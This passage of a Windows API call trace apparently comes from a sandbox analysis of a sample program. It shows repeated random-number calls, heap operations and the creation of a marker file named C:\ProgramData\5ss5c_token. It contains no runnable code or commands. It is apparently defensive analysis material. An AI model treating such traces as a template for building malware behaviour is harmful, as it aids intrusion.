RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.096] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xc2) returned 0x7d0648 [0121.097] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0720) returned 1 [0121.097] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0720 | out: hHeap=0x7b0000) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.097] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x110) returned 0x7d0720 [0121.098] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0648) returned 1 [0121.098] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0648 | out: hHeap=0x7b0000) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.098] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] SystemFunction036 (in: RandomBuffer=0x18eaec, RandomBufferLength=0x4 | out: RandomBuffer=0x18eaec) returned 1 [0121.099] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0208) returned 1 [0121.099] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0208 | out: hHeap=0x7b0000) returned 1 [0121.100] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0121.100] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0121.100] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0121.100] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb660 [0121.100] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x5c) returned 0x7d0208 [0121.100] AreFileApisANSI () returned 1 [0121.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e07bc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0121.100] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x5a) returned 0x7d0648 [0121.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e07bc, cbMultiByte=-1, lpWideCharStr=0x7d0668, cchWideChar=27 | out: lpWideCharStr="C:\\ProgramData\\5ss5c_token") returned 27 [0121.100] CreateFileW (lpFileName="C:\\ProgramData\\5ss5c_token" (normalized: "c:\\programdata\\5ss5c_token"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e600, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.101] GetLastError () returned 0x2 [0121.101] GetLastError () returned 0x2 [0121.101] SetLastError (dwErrCode=0x2) [0121.101] GetLastError () returned 0x2 [0121.101] SetLastError (dwErrCode=0x2) [0121.101] GetLastError () returned 0x2 [0121.101] SetLastError (dwErrCode=0x2) [0121.101] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0648) returned 1 [0121.101] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0648 | out: hHeap=0x7b0000) returned 1 [0121.101] LoadLibraryExW (lpLibFileName="api-ms-win-core-sysinfo-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0121.101] GetLastError () returned 0x57 [0121.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e8c4 | out: lpSystemTimeAsFileTime=0x18e8c4*(dwLowDateTime=0x9ca62220, dwHighDateTime=0x1d5ca1f)) [0121.102] GetLastError () returned 0x57 [0121.102] SetLastError (dwErrCode=0x57) [0121.102] GetLastError () returned 0x57 [0121.102] SetLastError (dwErrCode=0x57) [0121.102] GetLastError () returned 0x57 [0121.102] SetLastError (dwErrCode=0x57) [0121.102] GetLastError () returned 0x57 [0121.102] SetLastError (dwErrCode=0x57) [0121.102] GetLastError () returned 0x57 [0121.102] SetLastError (dwErrCode=0x57) [0121.102] GetLastError () returned 0x57 [0121.102] SetLastError (dwErrCode=0x57) [0121.102] GetLastError () returned 0x57 [0121.102] SetLastError (dwErrCode=0x57) [0121.102] GetLastError () returned 0x57 [0121.102] SetLastError (dwErrCode=0x57) [0121.103] GetLastError () returned 0x57 [0121.103] SetLastError (dwErrCode=0x57) [0121.103] GetLastError () returned 0x57 [0121.103] SetLastError (dwErrCode=0x57) [0121.103] GetLastError () returned 0x57 [0121.103] SetLastError (dwErrCode=0x57) [0121.103] GetLastError () returned 0x57 [0121.103] SetLastError (dwErrCode=0x57) [0121.103] GetLastError () returned 0x57 [0121.103] SetLastError (dwErrCode=0x57) [0121.103] GetLastError () returned 0x57 [0121.103] SetLastError (dwErrCode=0x57) [0121.103] GetLastError () returned 0x57 [0121.103] SetLastError (dwErrCode=0x57) [0121.103] GetLastError () returned 0x57 [0121.103] SetLastError (dwErrCode=0x57) [0121.104] GetLastError () returned 0x57 [0121.104] SetLastError (dwErrCode=0x57) [0121.104] GetLastError () returned 0x57 [0121.104] SetLastError (dwErrCode=0x57) [0121.104] GetLastError () returned 0x57 [0121.104] SetLastError (dwErrCode=0x57) [0121.104] GetLastError () returned 0x57 [0121.104] SetLastError (dwErrCode=0x57) [0121.104] GetLastError () returned 0x57 [0121.104] SetLastError (dwErrCode=0x57) [0121.104] GetLastError () returned 0x57 [0121.104] SetLastError (dwErrCode=0x57) [0121.104] GetLastError () returned 0x57 [0121.104] SetLastError (dwErrCode=0x57) [0121.104] GetLastError () returned 0x57 [0121.104] SetLastError (dwErrCode=0x57) [0121.105] GetLastError () returned 0x57 [0121.105] SetLastError (dwErrCode=0x57) [0121.105] GetLastError () returned 0x57 [0121.105] SetLastError (dwErrCode=0x57) [0121.105] GetLastError () returned 0x57 [0121.105] SetLastError (dwErrCode=0x57) [0121.105] GetLastError () returned 0x57 [0121.105] SetLastError (dwErrCode=0x57) [0121.105] GetLastError () returned 0x57 [0121.105] SetLastError (dwErrCode=0x57) [0121.105] GetLastError () returned 0x57 [0121.105] SetLastError (dwErrCode=0x57) [0121.105] GetLastError () returned 0x57 [0121.105] SetLastError (dwErrCode=0x57) [0121.105] GetLastError () returned 0x57 [0121.105] SetLastError (dwErrCode=0x57) [0121.105] GetLastError () returned 0x57 [0121.106] SetLastError (dwErrCode=0x57) [0121.106] GetLastError () returned 0x57 [0121.106] SetLastError (dwErrCode=0x57) [0121.106] GetLastError () returned 0x57 [0121.106] SetLastError (dwErrCode=0x57) [0121.106] GetLastError () returned 0x57 [0121.106] SetLastError (dwErrCode=0x57) [0121.106] GetLastError () returned 0x57 [0121.106] SetLastError (dwErrCode=0x57) [0121.106] GetLastError () returned 0x57 [0121.106] SetLastError (dwErrCode=0x57) [0121.106] GetLastError () returned 0x57 [0121.106] SetLastError (dwErrCode=0x57) [0121.106] GetLastError () returned 0x57 [0121.106] SetLastError (dwErrCode=0x57) [0121.106] GetLastError () returned 0x57 [0121.107] SetLastError (dwErrCode=0x57) [0121.107] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb698 [0121.107] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x54) returned 0x7d0648 [0121.107] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0) returned 1 [0121.107] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0 | out: hHeap=0x7b0000) returned 1 [0121.107] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb5f0 [0121.108] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb6d0 [0121.108] AreFileApisANSI () returned 1 [0121.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e07bc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0121.108] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x5a) returned 0x7d06a8 [0121.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e07bc, cbMultiByte=-1, lpWideCharStr=0x7d06c8, cchWideChar=27 | out: lpWideCharStr="C:\\ProgramData\\5ss5c_token") returned 27 [0121.108] CreateFileW (lpFileName="C:\\ProgramData\\5ss5c_token" (normalized: "c:\\programdata\\5ss5c_token"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e600, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0121.108] GetFileType (hFile=0x94) returned 0x1 [0121.108] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8) returned 1 [0121.108] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8 | out: hHeap=0x7b0000) returned 1 [0121.109] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb708 [0121.109] GetLastError () returned 0x0 [0121.109] SetLastError (dwErrCode=0x0) [0121.109] GetLastError () returned 0x0 [0121.109] SetLastError (dwErrCode=0x0) [0121.109] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xdc) returned 0x7d0838 [0121.109] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x6ca) returned 0x7d0920 [0121.109] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920) returned 1 [0121.109] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920 | out: hHeap=0x7b0000) returned 1 [0121.109] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb430) returned 1 [0121.109] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb430 | out: hHeap=0x7b0000) returned 1 [0121.109] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfdb0) returned 1 [0121.109] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfdb0 | out: hHeap=0x7b0000) returned 1 [0121.109] GetLastError () returned 0x0 [0121.110] SetLastError (dwErrCode=0x0) [0121.110] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2a) returned 0x7cb430 [0121.110] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x26) returned 0x7cad78 [0121.110] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x28) returned 0x7cada8 [0121.110] GetLastError () returned 0x0 [0121.110] SetLastError (dwErrCode=0x0) [0121.110] GetLastError () returned 0x0 [0121.110] SetLastError (dwErrCode=0x0) [0121.110] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xdc) returned 0x7cfdb0 [0121.110] GetLastError () returned 0x0 [0121.110] SetLastError (dwErrCode=0x0) [0121.110] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x6ca) returned 0x7d0920 [0121.110] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920) returned 1 [0121.110] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920 | out: hHeap=0x7b0000) returned 1 [0121.110] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb430) returned 1 [0121.110] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb430 | out: hHeap=0x7b0000) returned 1 [0121.110] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0838) returned 1 [0121.110] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0838 | out: hHeap=0x7b0000) returned 1 [0121.110] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8) returned 1 [0121.110] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8 | out: hHeap=0x7b0000) returned 1 [0121.110] GetLastError () returned 0x0 [0121.111] SetLastError (dwErrCode=0x0) [0121.111] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2a) returned 0x7cb430 [0121.111] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x26) returned 0x7cada8 [0121.111] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x28) returned 0x7cadd8 [0121.111] GetLastError () returned 0x0 [0121.111] SetLastError (dwErrCode=0x0) [0121.111] GetLastError () returned 0x0 [0121.111] SetLastError (dwErrCode=0x0) [0121.111] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xdc) returned 0x7d0838 [0121.111] GetLastError () returned 0x0 [0121.111] SetLastError (dwErrCode=0x0) [0121.111] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x6ca) returned 0x7d0920 [0121.111] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920) returned 1 [0121.111] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920 | out: hHeap=0x7b0000) returned 1 [0121.111] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb430) returned 1 [0121.111] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb430 | out: hHeap=0x7b0000) returned 1 [0121.111] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfdb0) returned 1 [0121.111] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfdb0 | out: hHeap=0x7b0000) returned 1 [0121.111] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cadd8) returned 1 [0121.111] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cadd8 | out: hHeap=0x7b0000) returned 1 [0121.112] GetLastError () returned 0x0 [0121.112] SetLastError (dwErrCode=0x0) [0121.112] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2a) returned 0x7cb430 [0121.112] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8) returned 1 [0121.112] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8 | out: hHeap=0x7b0000) returned 1 [0121.112] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cad78) returned 1 [0121.112] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cad78 | out: hHeap=0x7b0000) returned 1 [0121.112] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb740 